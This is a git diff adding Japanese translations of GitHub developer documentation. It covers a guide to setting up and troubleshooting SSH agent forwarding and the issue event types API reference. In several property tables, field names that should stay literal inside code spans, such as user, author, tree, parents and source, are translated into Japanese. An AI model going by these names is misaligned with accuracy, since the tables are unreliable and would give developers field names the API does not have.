+  - [{% data variables.product.prodname_oauth_apps %}](/apps/building-oauth-apps/)または[{% data variables.product.prodname_github_apps %}のいずれかを利用して設計を実装。 {% data variables.product.prodname_github_apps %}](/apps/building-github-apps/)の方が望ましいです。 {% data variables.product.prodname_github_apps %}が望ましい理由の詳細を学ぶには、「[{% data variables.product.prodname_github_apps %}に切り替える理由](/apps/migrating-oauth-apps-to-github-apps/#reasons-for-switching-to-github-apps)」を参照してください。
diff --git a/translations/ja-JP/content/developers/overview/using-ssh-agent-forwarding.md b/translations/ja-JP/content/developers/overview/using-ssh-agent-forwarding.md
index 1a5c54cd28..ab90b0cb6b 100644
--- a/translations/ja-JP/content/developers/overview/using-ssh-agent-forwarding.md
+++ b/translations/ja-JP/content/developers/overview/using-ssh-agent-forwarding.md
@@ -1,6 +1,6 @@
 ---
-title: Using SSH agent forwarding
-intro: 'To simplify deploying to a server, you can set up SSH agent forwarding to securely use local SSH keys.'
+title: SSHエージェント転送の利用
+intro: サーバーへのデプロイを簡単にするために、SSHエージェント転送をセットアップして、安全にローカルのSSHキーを使うことができます。
 redirect_from:
   - /guides/using-ssh-agent-forwarding
   - /v3/guides/using-ssh-agent-forwarding
@@ -11,50 +11,50 @@ versions:
   ghec: '*'
 topics:
   - API
-shortTitle: SSH agent forwarding
+shortTitle: SSHエージェントのフォワーディング
 ---
 
 
 
-SSH agent forwarding can be used to make deploying to a server simple.  It allows you to use your local SSH keys instead of leaving keys (without passphrases!) sitting on your server.
+SSHエージェント転送を使って、サーバーへのデプロイをシンプルにすることができます。  そうすることで、キー（パスフレーズなしの！）をサーバー上に残さずに、ローカルのSSHキーを使用できます。
 
-If you've already set up an SSH key to interact with {% data variables.product.product_name %}, you're probably familiar with `ssh-agent`. It's a program that runs in the background and keeps your key loaded into memory, so that you don't need to enter your passphrase every time you need to use the key. The nifty thing is, you can choose to let servers access your local `ssh-agent` as if they were already running on the server. This is sort of like asking a friend to enter their password so that you can use their computer.
+{% data variables.product.product_name %}とやりとりするためのSSHキーをセットアップ済みなら、`ssh-agent`には慣れていることでしょう。 これは、バックグラウンドで実行され、キーをメモリにロードした状態にし続けるので、キーを使うたびにパスフレーズを入力する必要がなくなります。 便利なのは、ローカルの`ssh-agent`がサーバー上で動作しているかのように、サーバーからローカルの`ssh-agent`にアクセスさせられることです。 これは、友人のコンピュータをあなたが使えるように、友人のパスワードを友人に入力してもらうように頼むようなものです。
 
-Check out [Steve Friedl's Tech Tips guide][tech-tips] for a more detailed explanation of SSH agent forwarding.
+SSHエージェント転送に関するさらに詳細な説明については、[Steve Friedl's Tech Tips guide][tech-tips]をご覧ください。
 
-## Setting up SSH agent forwarding
+## SSHエージェント転送のセットアップ
 
-Ensure that your own SSH key is set up and working. You can use [our guide on generating SSH keys][generating-keys] if you've not done this yet.
+SSHキーがセットアップされており、動作していることを確認してください。 まだ確認ができていないなら、[SSHキーの生成ガイド][generating-keys]を利用できます。
 
-You can test that your local key works by entering `ssh -T git@{% ifversion ghes or ghae %}hostname{% else %}github.com{% endif %}` in the terminal:
+ローカルのキーが動作しているかは、ターミナルで`ssh -T git@{% ifversion ghes or ghae %}hostname{% else %}github.com{% endif %}`と入力すればテストできます。
 
 ```shell
 $ ssh -T git@{% ifversion ghes or ghae %}hostname{% else %}github.com{% endif %}
-# Attempt to SSH in to github
+# SSHでgithubに入る
 > Hi <em>username</em>! You've successfully authenticated, but GitHub does not provide
 > shell access.
 ```
 
-We're off to a great start. Let's set up SSH to allow agent forwarding to your server.
+いいスタートを切ることができました。 サーバーへのエージェント転送ができるよう、SSHをセットアップしましょう。
 
-1. Using your favorite text editor, open up the file at `~/.ssh/config`. If this file doesn't exist, you can create it by entering `touch ~/.ssh/config` in the terminal.
-
-2. Enter the following text into the file, replacing `example.com` with your server's domain name or IP:
+1. 好きなテキストエディタで`~/.ssh/config`にあるファイルを開いてください。 もしこのファイルがなかったなら、ターミナルで`touch ~/.ssh/config`と入力すれば作成できます。
 
+2. `example.com`のところを使用するサーバーのドメイン名もしくはIPで置き換えて、以下のテキストをこのファイルに入力してください。
+   
         Host example.com
           ForwardAgent yes
 
 {% warning %}
 
-**Warning:** You may be tempted to use a wildcard like `Host *` to just apply this setting to all SSH connections. That's not really a good idea, as you'd be sharing your local SSH keys with *every* server you SSH into. They won't have direct access to the keys, but they will be able to use them *as you* while the connection is established. **You should only add servers you trust and that you intend to use with agent forwarding.**
+**警告:** すべてのSSH接続のこの設定を適用するために、`Host *`のようなワイルドカードを使いたくなるかもしれません。 これはローカルのSSHキーをSSHで入る*すべての*サーバーと共有することになるので、実際には良い考えではありません。 キーに直接アクセスされることはないかもしれませんが、接続が確立されている間はそれらのキーが*あなたのかわりに*使われるかもしれません。 **追加するサーバーは、信用でき、エージェント転送で使おうとしているサーバーのみにすべきです。**
 
 {% endwarning %}
 
-## Testing SSH agent forwarding
+## SSHエージェント転送のテスト
 
-To test that agent forwarding is working with your server, you can SSH into your server and run `ssh -T git@{% ifversion ghes or ghae %}hostname{% else %}github.com{% endif %}` once more.  If all is well, you'll get back the same prompt as you did locally.
+エージェント転送がサーバーで動作しているかをテストするには、サーバーにSSHで入ってもう一度`ssh -T git@{% ifversion ghes or ghae %}hostname{% else %}github.com{% endif %}`と実行してみてください。  すべてうまくいっているなら、ローカルでやった場合と同じプロンプトが返ってくるでしょう。
 
-If you're unsure if your local key is being used, you can also inspect the `SSH_AUTH_SOCK` variable on your server:
+ローカルのキーが使われているか確信が持てない場合は、サーバー上で`SSH_AUTH_SOCK`変数を調べてみることもできます。
 
 ```shell
 $ echo "$SSH_AUTH_SOCK"
@@ -62,24 +62,24 @@ $ echo "$SSH_AUTH_SOCK"
 > /tmp/ssh-4hNGMk8AZX/agent.79453
 ```
 
-If the variable is not set, it means that agent forwarding is not working:
+この変数が設定されていないなら、エージェント転送は動作していないということです。
 
 ```shell
 $ echo "$SSH_AUTH_SOCK"
-# Print out the SSH_AUTH_SOCK variable
+# SSH_AUTH_SOCK変数の出力
 > <em>[No output]</em>
 $ ssh -T git@{% ifversion ghes or ghae %}hostname{% else %}github.com{% endif %}
-# Try to SSH to github
+# SSHでgithubに入る
 > Permission denied (publickey).
 ```
 
-## Troubleshooting SSH agent forwarding
+## SSHエージェント転送のトラブルシューティング
 
-Here are some things to look out for when troubleshooting SSH agent forwarding.
+以下は、SSHエージェント転送のトラブルシューティングの際に注意すべきことです。
 
-### You must be using an SSH URL to check out code
+### コードをのチェックアウトにはSSH URLを使わなければならない
 
-SSH forwarding only works with SSH URLs, not HTTP(s) URLs. Check the *.git/config* file on your server and ensure the URL is an SSH-style URL like below:
+SSH転送はHTTP(s) URLでは動作せず、SSH URLでのみ動作します。 サーバー上の*.git/config*ファイルを調べて、URLが以下のようなSSHスタイルのURLになっていることを確認してください。
 
 ```shell
 [remote "origin"]
@@ -87,18 +87,18 @@ SSH forwarding only works with SSH URLs, not HTTP(s) URLs. Check the *.git/confi
   fetch = +refs/heads/*:refs/remotes/origin/*
 ```
 
-### Your SSH keys must work locally
+### SSHキーはローカルで動作していなければならない
 
-Before you can make your keys work through agent forwarding, they must work locally first. [Our guide on generating SSH keys][generating-keys] can help you set up your SSH keys locally.
+エージェント転送を通じてキーを動作させるには、まずキーがローカルで動作していなければなりません。 SSHキーをローカルでセットアップするには、[SSHキーの生成ガイド][generating-keys]が役に立つでしょう。
 
-### Your system must allow SSH agent forwarding
+### システムがSSHエージェント転送を許可していなければならない
 
-Sometimes, system configurations disallow SSH agent forwarding. You can check if a system configuration file is being used by entering the following command in the terminal:
+システム設定でSSHエージェント転送が許可されていないことがあります。 システム設定ファイルが使われているかは、ターミナルで以下のコマンドを入力してみればチェックできます。
 
 ```shell
 $ ssh -v <em>example.com</em>
 # Connect to example.com with verbose debug output
-> OpenSSH_8.1p1, LibreSSL 2.7.3</span>
+> OpenSSH_5.6p1, OpenSSL 0.9.8r 8 Feb 2011</span>
 > debug1: Reading configuration data /Users/<em>you</em>/.ssh/config
 > debug1: Applying options for example.com
 > debug1: Reading configuration data /etc/ssh_config
@@ -107,7 +107,7 @@ $ exit
 # Returns to your local command prompt
 ```
 
-In the example above, the file *~/.ssh/config* is loaded first, then */etc/ssh_config* is read.  We can inspect that file to see if it's overriding our options by running the following commands:
+上の例では、*~/.ssh/config*というファイルがまずロードされ、それから*/etc/ssh_config*が読まれます。  以下のコマンドを実行すれば、そのファイルが設定を上書きしているかを調べることができます。
 
 ```shell
 $ cat /etc/ssh_config
@@ -117,17 +117,17 @@ $ cat /etc/ssh_config
 >   ForwardAgent no
 ```
 
-In this example, our */etc/ssh_config* file specifically says `ForwardAgent no`, which is a way to block agent forwarding. Deleting this line from the file should get agent forwarding working once more.
+この例では、*/etc/ssh_config*ファイルが`ForwardAgent no`と具体的に指定しており、これはエージェント転送をブロックするやり方です。 この行をファイルから削除すれば、エージェント転送は改めて動作するようになります。
 
-### Your server must allow SSH agent forwarding on inbound connections
+### サーバーはインバウンド接続でSSHエージェント転送を許可していなければならない
 
-Agent forwarding may also be blocked on your server. You can check that agent forwarding is permitted by SSHing into the server and running `sshd_config`. The output from this command should indicate that `AllowAgentForwarding` is set.
+エージェント転送は、サーバーでブロックされているかもしれません。 エージェント転送が許可されているかは、サーバーにSSHで入り、`sshd_config`を実行してみれば確認できます。 このコマンドからの出力で、`AllowAgentForwarding`が設定されていることが示されていなければなりません。
 
-### Your local `ssh-agent` must be running
+### ローカルの`ssh-agent`が動作していなければならない
 
-On most computers, the operating system automatically launches `ssh-agent` for you.  On Windows, however, you need to do this manually. We have [a guide on how to start `ssh-agent` whenever you open Git Bash][autolaunch-ssh-agent].
+ほとんどのコンピュータでは、オペレーティングシステムは自動的に`ssh-agent`を起動してくれます。  しかし、Windowsではこれを手動で行わなければなりません。 [Git Bashを開いたときに`ssh-agent`を起動する方法のガイド][autolaunch-ssh-agent]があります。
 
-To verify that `ssh-agent` is running on your computer, type the following command in the terminal:
+コンピュータで`ssh-agent`が動作しているかを確認するには、ターミナルで以下のコマンドを入力してください。
 
 ```shell
 $ echo "$SSH_AUTH_SOCK"
@@ -135,15 +135,15 @@ $ echo "$SSH_AUTH_SOCK"
 > /tmp/launch-kNSlgU/Listeners
 ```
 
-### Your key must be available to `ssh-agent`
+### キーが`ssh-agent`から利用可能でなければならない
 
-You can check that your key is visible to `ssh-agent` by running the following command:
+`ssh-agent`からキーが見えるかは、以下のコマンドを実行すれば確認できます。
 
 ```shell
 ssh-add -L
 ```
 
-If the command says that no identity is available, you'll need to add your key:
+このコマンドが識別情報が利用できないと言ってきたなら、キーを追加しなければなりません。
 
 ```shell
 $ ssh-add <em>yourkey</em>
@@ -151,7 +151,7 @@ $ ssh-add <em>yourkey</em>
 
 {% tip %}
 
-On macOS, `ssh-agent` will "forget" this key, once it gets restarted during reboots. But you can import your SSH keys into Keychain using this command:
+macOSでは、再起動時に`ssh-agent`が起動し直されると、キーは「忘れられて」しまいます。 ただし、以下のコマンドでキーチェーンにSSHキーをインポートできます。
 
 ```shell
 $ ssh-add -K <em>yourkey</em>
@@ -161,5 +161,4 @@ $ ssh-add -K <em>yourkey</em>
 
 [tech-tips]: http://www.unixwiz.net/techtips/ssh-agent-forwarding.html
 [generating-keys]: /articles/generating-ssh-keys
-[ssh-passphrases]: /ssh-key-passphrases/
 [autolaunch-ssh-agent]: /github/authenticating-to-github/working-with-ssh-key-passphrases#auto-launching-ssh-agent-on-git-for-windows
diff --git a/translations/ja-JP/content/developers/webhooks-and-events/events/github-event-types.md b/translations/ja-JP/content/developers/webhooks-and-events/events/github-event-types.md
index f678e1b3c6..2f78b8517f 100644
--- a/translations/ja-JP/content/developers/webhooks-and-events/events/github-event-types.md
+++ b/translations/ja-JP/content/developers/webhooks-and-events/events/github-event-types.md
@@ -1,7 +1,6 @@
 ---
 title: GitHubイベントの種類
 intro: '{% data variables.product.prodname_dotcom %} Event APIについて、各イベントの種類、{% data variables.product.prodname_dotcom %}上でのトリガーするアクション、各イベント固有のプロパティについて学んでください。'
-product: '{% data reusables.gated-features.enterprise-accounts %}'
 redirect_from:
   - /v3/activity/event_types
   - /developers/webhooks-and-events/github-event-types
diff --git a/translations/ja-JP/content/developers/webhooks-and-events/events/issue-event-types.md b/translations/ja-JP/content/developers/webhooks-and-events/events/issue-event-types.md
index c7ccfa8b72..1ba990bbc8 100644
--- a/translations/ja-JP/content/developers/webhooks-and-events/events/issue-event-types.md
+++ b/translations/ja-JP/content/developers/webhooks-and-events/events/issue-event-types.md
@@ -1,6 +1,6 @@
 ---
-title: Issue event types
-intro: 'For the Issues Events API and Timeline API, learn about each event type, the triggering action on {% data variables.product.prodname_dotcom %}, and each event''s unique properties.'
+title: Issue イベントタイプ
+intro: 'Issues イベント API とタイムライン API について、各イベントタイプ、{% data variables.product.prodname_dotcom %} でのトリガーアクション、および各イベントの一意のプロパティについて学びます。'
 redirect_from:
   - /v3/issues/issue-event-types
   - /developers/webhooks-and-events/issue-event-types
@@ -12,27 +12,28 @@ versions:
 topics:
   - Events
 ---
-Issue events are triggered by activity in issues and pull requests and are available in the [Issue Events API](/rest/reference/issues#events) and the [Timeline Events API](/rest/reference/issues#timeline). Each event type specifies whether the event is available in the Issue Events or Timeline Events APIs.
 
-GitHub's REST API considers every pull request to be an issue, but not every issue is a pull request. For this reason, the Issue Events and Timeline Events endpoints may return both issues and pull requests in the response. Pull requests have a `pull_request` property in the `issue` object. Because pull requests are issues, issue and pull request numbers do not overlap in a repository. For example, if you open your first issue in a repository, the number will be 1. If you then open a pull request, the number will be 2. Each event type specifies if the event occurs in pull request, issues, or both.
+Issue イベントは、Issue およびプルリクエストのアクティビティによってトリガーされ、[Issue イベント API](/rest/reference/issues#events) および[タイムラインイベント API](/rest/reference/issues#timeline) で使用できます。 各イベントタイプでは、イベントが Issue イベントやタイムラインイベント API で使用可能かどうかを指定します。
 
-## Issue event object common properties
+GitHub の REST API は、すべてのプルリクエストを Issue と見なしますが、すべての Issue がプルリクエストであるとは限りません。 このため、Issue イベントエンドポイントとタイムラインイベントエンドポイントは、レスポンスで Issue とプルリクエストの両方を返す場合があります。 プルリクエストには、`issue` オブジェクト内に `pull_request` プロパティがあります。 プルリクエストは Issue のため、リポジトリ内で Issue とプルリクエストの番号が重複することはありません。 たとえば、リポジトリで最初の Issue を開くと、番号は 1 になります。 次にプルリクエストを開くと、番号は 2 になります。 各イベントタイプでは、イベントがプルリクエスト、Issue、またはその両方で発生するかどうかを指定します。
 
-Issue events all have the same object structure, except events that are only available in the Timeline Events API. Some events also include additional properties that provide more context about the event resources. Refer to the specific event to for details about any properties that differ from this object format.
+## Issue イベントオブジェクトの共通プロパティ
+
+タイムラインイベント API でのみ使用可能なイベントを除いて、Issue イベントはすべて同じオブジェクト構造になっています。 一部のイベントには、イベントリソースに関するより多くのコンテキストを提供する追加のプロパティも含まれています。 このオブジェクト形式とは異なるプロパティの詳細については、特定のイベントを参照してください。
 
 {% data reusables.issue-events.issue-event-common-properties %}
 
 ## added_to_project
 
-The issue or pull request was added to a project board. {% data reusables.projects.disabled-projects %}
+Issue またはプルリクエストがプロジェクトボードに追加された。 {% data reusables.projects.disabled-projects %}
 
-### Availability
+### 利用の可否
 
-|Issue type | Issue events API | Timeline events API|
-|:----------|:----------------:|:-----------------:|
-| <ul><li>Issues</li><li>Pull request</li></ul> | **X** | **X** |
+| Issue タイプ                 | Issue イベント API | タイムラインイベント API |
+|:------------------------- |:--------------:|:--------------:|
+| <ul><li>Issue</li><li>プルリクエスト</li></ul> |     **X**      |     **X**      |
 
-### Event object properties
+### イベントオブジェクトのプロパティ
 
 {% data reusables.pre-release-program.starfox-preview %}
 {% data reusables.pre-release-program.api-preview-warning %}
@@ -40,173 +41,173 @@ The issue or pull request was added to a project board. {% data reusables.projec
 {% data reusables.issue-events.issue-event-common-properties %}
 {% data reusables.issue-events.project-card-properties %}
 
-## assigned
+## アサイン
 
-The issue or pull request was assigned to a user.
+Issueまたはプルリクエストがユーザに割り当てられた。
 
-### Availability
+### 利用の可否
 
-|Issue type | Issue events API | Timeline events API|
-|:----------|:----------------:|:-----------------:|
-| <ul><li>Issues</li><li>Pull requests</li></ul> | **X** | **X**  |
+| Issue タイプ                 | Issue イベント API | タイムラインイベント API |
+|:------------------------- |:--------------:|:--------------:|
+| <ul><li>Issue</li><li>プルリクエスト</li></ul> |     **X**      |     **X**      |
 
-### Event object properties
+### イベントオブジェクトのプロパティ
 
 {% data reusables.issue-events.issue-event-common-properties %}
 {% data reusables.issue-events.assignee-properties %}
 
 ## automatic_base_change_failed
 
-GitHub unsuccessfully attempted to automatically change the base branch of the pull request.
+GitHub がプルリクエストのベースブランチを自動的に変更しようとしたが失敗した。
 
-### Availability
+### 利用の可否
 
-|Issue type | Issue events API | Timeline events API|
-|:----------|:----------------:|:-----------------:|
-| <ul><li>Pull requests</li></ul> | **X** |  |
+| Issue タイプ                 | Issue イベント API | タイムラインイベント API |
+|:------------------------- |:--------------:|:--------------:|
+| <ul><li>プルリクエスト</li></ul> |     **X**      |                |
 
-### Event object properties
+### イベントオブジェクトのプロパティ
 
 {% data reusables.issue-events.issue-event-common-properties %}
 
 ## automatic_base_change_succeeded
 
-GitHub successfully attempted to automatically change the base branch of the pull request.
+GitHub がプルリクエストのベースブランチを自動的に変更しようとした。
 
-### Availability
+### 利用の可否
 
-|Issue type | Issue events API | Timeline events API|
-|:----------|:----------------:|:-----------------:|
-| <ul><li>Pull requests</li></ul> | **X** | |
+| Issue タイプ                 | Issue イベント API | タイムラインイベント API |
+|:------------------------- |:--------------:|:--------------:|
+| <ul><li>プルリクエスト</li></ul> |     **X**      |                |
 
-### Event object properties
+### イベントオブジェクトのプロパティ
 
 {% data reusables.issue-events.issue-event-common-properties %}
 
 ## base_ref_changed
 
-The base reference branch of the pull request changed.
+プルリクエストのベースリファレンスブランチが変更された。
 
-### Availability
+### 利用の可否
 
-|Issue type | Issue events API | Timeline events API|
-|:----------|:----------------:|:-----------------:|
-| <ul><li>Pull requests</li></ul> | **X** | |
+| Issue タイプ                 | Issue イベント API | タイムラインイベント API |
+|:------------------------- |:--------------:|:--------------:|
+| <ul><li>プルリクエスト</li></ul> |     **X**      |                |
 
-### Event object properties
+### イベントオブジェクトのプロパティ
 
 {% data reusables.issue-events.issue-event-common-properties %}
 
 ## closed
 
-The issue or pull request was closed. When the `commit_id` is present, it identifies the commit that closed the issue using "closes / fixes" syntax. For more information about the syntax, see "[Linking a pull request to an issue](/github/managing-your-work-on-github/linking-a-pull-request-to-an-issue#linking-a-pull-request-to-an-issue-using-a-keyword)".
+Issue またはプルリクエストがクローズされた。 `commit_id` が存在する場合、「closes / fixes」構文を使用して Issue をクローズしたコミットを識別します。 構文に関する詳しい情報については「[プルリクエストを Issue にリンクする](/github/managing-your-work-on-github/linking-a-pull-request-to-an-issue#linking-a-pull-request-to-an-issue-using-a-keyword)」を参照してください。
 
-### Availability
+### 利用の可否
 
-|Issue type | Issue events API | Timeline events API|
-|:----------|:----------------:|:-----------------:|
-| <ul><li>Issues</li><li>Pull requests</li></ul> | **X** | **X** |
+| Issue タイプ                 | Issue イベント API | タイムラインイベント API |
+|:------------------------- |:--------------:|:--------------:|
+| <ul><li>Issue</li><li>プルリクエスト</li></ul> |     **X**      |     **X**      |
 
-### Event object properties
+### イベントオブジェクトのプロパティ
 
 {% data reusables.issue-events.issue-event-common-properties %}
 
-## commented
+## コメント
 
-A comment was added to the issue or pull request.
+Issue またはプルリクエストにコメントが追加された。
 
-### Availability
+### 利用の可否
 
-|Issue type | Issue events API | Timeline events API|
-|:----------|:----------------:|:-----------------:|
-| <ul><li>Issues</li><li>Pull requests</li></ul> |  | **X** |
+| Issue タイプ                 | Issue イベント API | タイムラインイベント API |
+|:------------------------- |:--------------:|:--------------:|
+| <ul><li>Issue</li><li>プルリクエスト</li></ul> |                |     **X**      |
 
-### Event object properties
+### イベントオブジェクトのプロパティ
 
 {% data reusables.issue-events.timeline_events_object_properties %}
 
-Name | Type | Description
------|------|--------------
-`url` | `string` | The REST API URL to retrieve the issue comment.
-`html_url` | `string` | The HTML URL of the issue comment.
-`issue_url` | `string` | The HTML URL of the issue.
-`id` | `integer` | The unique identifier of the event.
-`node_id` | `string` | The [Global Node ID]({% ifversion ghec %}/free-pro-team@latest{% endif %}/graphql/guides/using-global-node-ids) of the event.
-`user` | `object` | The person who commented on the issue.
-`created_at` | `string` | The timestamp indicating when the comment was added.
-`updated_at` | `string` | The timestamp indicating when the comment was updated or created, if the comment is never updated.
-`author_association` | `string` | The permissions the user has in the issue's repository. For example, the value would be `"OWNER"` if the owner of repository created a comment.
-`body` | `string` | The comment body text.
-`event` | `string` | The event value is `"commented"`.
-`actor` | `object` | The person who generated the event.
+| 名前                   | 種類        | 説明                                                                                                             |
+| -------------------- | --------- | -------------------------------------------------------------------------------------------------------------- |
+| `url`                | `string`  | Issue コメントを取得する REST API URL。                                                                                  |
+| `html_url`           | `string`  | Issue コメントの HTML URL。                                                                                          |
+| `issue_url`          | `string`  | Issue の HTML URL。                                                                                              |
+| `id`                 | `integer` | イベントの一意の識別子。                                                                                                   |
+| `node_id`            | `string`  | イベントの[グローバルノード ID]({% ifversion ghec %}/free-pro-team@latest{% endif %}/graphql/guides/using-global-node-ids)。 |
+| `ユーザ`                | `オブジェクト`  | この Issue についてコメントしたユーザ。                                                                                        |
+| `created_at`         | `string`  | コメントの追加日時を示すタイムスタンプ。                                                                                           |
+| `updated_at`         | `string`  | コメントが更新されていない場合に、コメントの更新または作成日時を示すタイムスタンプ。                                                                     |
+| `author_association` | `string`  | Issue のリポジトリでユーザが保持している権限。 たとえば、リポジトリの所有者がコメントを作成した場合、値は「`OWNER`」になります。                                        |
+| `body`               | `string`  | コメント本文テキスト。                                                                                                    |
+| `event`              | `string`  | イベントの値は `"commented"` です。                                                                                      |
+| `actor`              | `オブジェクト`  | イベントを生成したユーザ。                                                                                                  |
 
 ## committed
 
-A commit was added to the pull request's `HEAD` branch.
+プルリクエストの `HEAD` ブランチにコミットが追加された。
 
-### Availability
+### 利用の可否
 
-|Issue type | Issue events API | Timeline events API|
-|:----------|:----------------:|:-----------------:|
-| <ul><li>Pull requests</li></ul> |  | **X** |
+| Issue タイプ                 | Issue イベント API | タイムラインイベント API |
+|:------------------------- |:--------------:|:--------------:|
+| <ul><li>プルリクエスト</li></ul> |                |     **X**      |
 
-### Event object properties
+### イベントオブジェクトのプロパティ
 
 {% data reusables.issue-events.timeline_events_object_properties %}
 
-Name | Type | Description
------|------|--------------
-`sha` | `string` | The SHA of the commit in the pull request.
-`node_id` | `string` | The [Global Node ID]({% ifversion ghec %}/free-pro-team@latest{% endif %}/graphql/guides/using-global-node-ids) of the event.
-`url` | `string` | The REST API URL to retrieve the commit.
-`html_url` | `string` | The HTML URL of the commit.
-`author` | `object` | The person who authored the commit.
-`committer` | `object` | The person who committed the commit on behalf of the author.
-`tree` | `object` | The Git tree of the commit.
-`message` | `string` | The commit message.
-`parents` | `array of objects` | A list of parent commits.
-`verification` | `object` | The result of verifying the commit's signature. For more information, see "[Signature verification object](/rest/reference/git#get-a-commit)."
-`event` | `string` | The event value is `"committed"`.
+| 名前         | 種類                 | 説明                                                                                                             |
+| ---------- | ------------------ | -------------------------------------------------------------------------------------------------------------- |
+| `sha`      | `string`           | プルリクエスト内のコミットの SHA。                                                                                            |
+| `node_id`  | `string`           | イベントの[グローバルノード ID]({% ifversion ghec %}/free-pro-team@latest{% endif %}/graphql/guides/using-global-node-ids)。 |
+| `url`      | `string`           | コミットを取得する REST API URL。                                                                                        |
+| `html_url` | `string`           | コミットの HTML URL。                                                                                                |
+| `作者`       | `オブジェクト`           | コミットの作者。                                                                                                       |
+| `コミッター`    | `オブジェクト`           | 作者に代わってコミットしたユーザ。                                                                                              |
+| `ツリー`      | `オブジェクト`           | コミットの Git ツリー。                                                                                                 |
+| `message`  | `string`           | コミットメッセージ。                                                                                                     |
+| `親`        | `array of objects` | 親コミットのリスト。                                                                                                     |
+| `検証`       | `オブジェクト`           | コミットの署名の検証結果。 詳しい情報については、「[署名検証オブジェクト](/rest/reference/git#get-a-commit)」を参照してください。                            |
+| `event`    | `string`           | イベントの値は `"committed"` です。                                                                                      |
 
 ## connected
 
-The issue or pull request was linked to another issue or pull request. For more information, see "[Linking a pull request to an issue](/github/managing-your-work-on-github/linking-a-pull-request-to-an-issue)".
+Issue またはプルリクエストが、別の Issue またはプルリクエストにリンクされた。 詳しい情報については「[プルリクエストを Issue にリンクする](/github/managing-your-work-on-github/linking-a-pull-request-to-an-issue)」を参照してください。
 
-### Availability
+### 利用の可否
 
-|Issue type | Issue events API | Timeline events API|
-|:----------|:----------------:|:-----------------:|
-| <ul><li>Issues</li><li>Pull requests</li></ul> | **X** | **X** |
+| Issue タイプ                 | Issue イベント API | タイムラインイベント API |
+|:------------------------- |:--------------:|:--------------:|
+| <ul><li>Issue</li><li>プルリクエスト</li></ul> |     **X**      |     **X**      |
 
-### Event object properties
+### イベントオブジェクトのプロパティ
 
 {% data reusables.issue-events.issue-event-common-properties %}
 
 ## convert_to_draft
 
-The pull request was converted to draft mode.
+プルリクエストがドラフトモードに変換された。
 
-### Availability
+### 利用の可否
 
-|Issue type | Issue events API | Timeline events API|
-|:----------|:----------------:|:-----------------:|
-| <ul><li>Pull requests</li></ul> | **X** | **X** |
+| Issue タイプ                 | Issue イベント API | タイムラインイベント API |
+|:------------------------- |:--------------:|:--------------:|
+| <ul><li>プルリクエスト</li></ul> |     **X**      |     **X**      |
 
-### Event object properties
+### イベントオブジェクトのプロパティ
 
 {% data reusables.issue-events.issue-event-common-properties %}
 
 ## converted_note_to_issue
 
-The issue was created by converting a note in a project board to an issue. {% data reusables.projects.disabled-projects %}
+Issue がプロジェクトボードのメモを Issue に変換して作成された。 {% data reusables.projects.disabled-projects %}
 
-### Availability
+### 利用の可否
 
-|Issue type | Issue events API | Timeline events API|
-|:----------|:----------------:|:-----------------:|
-| <ul><li>Issues</li></ul> | **X** | **X** |
+| Issue タイプ                  | Issue イベント API | タイムラインイベント API |
+|:-------------------------- |:--------------:|:--------------:|
+| <ul><li>Issue</li></ul> |     **X**      |     **X**      |
 
-### Event object properties
+### イベントオブジェクトのプロパティ
 
 {% data reusables.pre-release-program.starfox-preview %}
 {% data reusables.pre-release-program.api-preview-warning %}
@@ -216,232 +217,230 @@ The issue was created by converting a note in a project board to an issue. {% da
 
 ## cross-referenced
 
-The issue or pull request was referenced from another issue or pull request.
+Issue またはプルリクエストが、別の Issue またはプルリクエストから参照された。
 
-### Availability
+### 利用の可否
 
-|Issue type | Issue events API | Timeline events API|
-|:----------|:----------------:|:-----------------:|
-| <ul><li>Issues</li><li>Pull requests</li></ul> |  | **X** |
+| Issue タイプ                  | Issue イベント API | タイムラインイベント API |
+|:-------------------------- |:--------------:|:--------------:|
+| <ul><li>Issue</li><li>プルリクエスト</li></ul> |                |     **X**      |
 
-### Event object properties
+### イベントオブジェクトのプロパティ
 
 {% data reusables.issue-events.timeline_events_object_properties %}
 
-Name | Type | Description
------|------|--------------
-`actor` | `object` | The person who generated the event.
-`created_at` | `string` | The timestamp indicating when the cross-reference was added.
-`updated_at` | `string` | The timestamp indicating when the cross-reference was updated or created, if the cross-reference is never updated.
-`source` | `object` | The issue or pull request that added a cross-reference.
-`source[type]` | `string` | This value will always be `"issue"` because pull requests are of type issue. Only cross-reference events triggered by issues or pull requests are returned in the Timeline Events API. To determine if the issue that triggered the event is a pull request, you can check if the `source[issue][pull_request` object exists.
-`source[issue]` | `object` | The `issue` object that added the cross-reference.
-`event` | `string` | The event value is `"cross-referenced"`.
+| 名前              | 種類       | 説明                                                                                                                                                                                                    |
+| --------------- | -------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `actor`         | `オブジェクト` | イベントを生成したユーザ。                                                                                                                                                                                         |
+| `created_at`    | `string` | クロスリファレンスの追加日時を示すタイムスタンプ。                                                                                                                                                                             |
+| `updated_at`    | `string` | クロスリファレンスが更新されていない場合、クロスリファレンスの更新または作成時期を示すタイムスタンプ。                                                                                                                                                   |
+| `資料`            | `オブジェクト` | クロスリファレンスを追加した Issue またはプルリクエスト。                                                                                                                                                                      |
+| `source[type]`  | `string` | プルリクエストは Issue タイプのため、この値は常に `"issue"` になります。 タイムラインイベント API では、Issue またはプルリクエストによってトリガーされたクロスリファレンスイベントのみが返されます。 イベントをトリガーした Issue がプルリクエストかどうかを判断するには、`source[issue][pull_request` オブジェクトの有無を確認します。 |
+| `source[issue]` | `オブジェクト` | クロスリファレンスを追加した `issue` オブジェクト。                                                                                                                                                                        |
+| `event`         | `string` | イベントの値は `"cross-referenced"` です。                                                                                                                                                                      |
 
 ## demilestoned
 
-The issue or pull request was removed from a milestone.
+Issue またはプルリクエストがマイルストーンから削除された。
 
-### Availability
+### 利用の可否
 
-|Issue type | Issue events API | Timeline events API|
-|:----------|:----------------:|:-----------------:|
-| <ul><li>Issues</li><li>Pull requests</li></ul> | **X** | **X** |
+| Issue タイプ                  | Issue イベント API | タイムラインイベント API |
+|:-------------------------- |:--------------:|:--------------:|
+| <ul><li>Issue</li><li>プルリクエスト</li></ul> |     **X**      |     **X**      |
 
-### Event object properties
+### イベントオブジェクトのプロパティ
 
 {% data reusables.issue-events.issue-event-common-properties %}
-`milestone` | `object` | The milestone object.
-`milestone[title]` | `string` | The title of the milestone.
+`milestone` | `object` | マイルストーンオブジェクト。 `milestone[title]` | `string` | マイルストーンのタイトル。
 
 ## deployed
 
-The pull request was deployed.
+プルリクエストがデプロイされた。
 
-### Availability
+### 利用の可否
 
-|Issue type | Issue events API | Timeline events API|
-|:----------|:----------------:|:-----------------:|
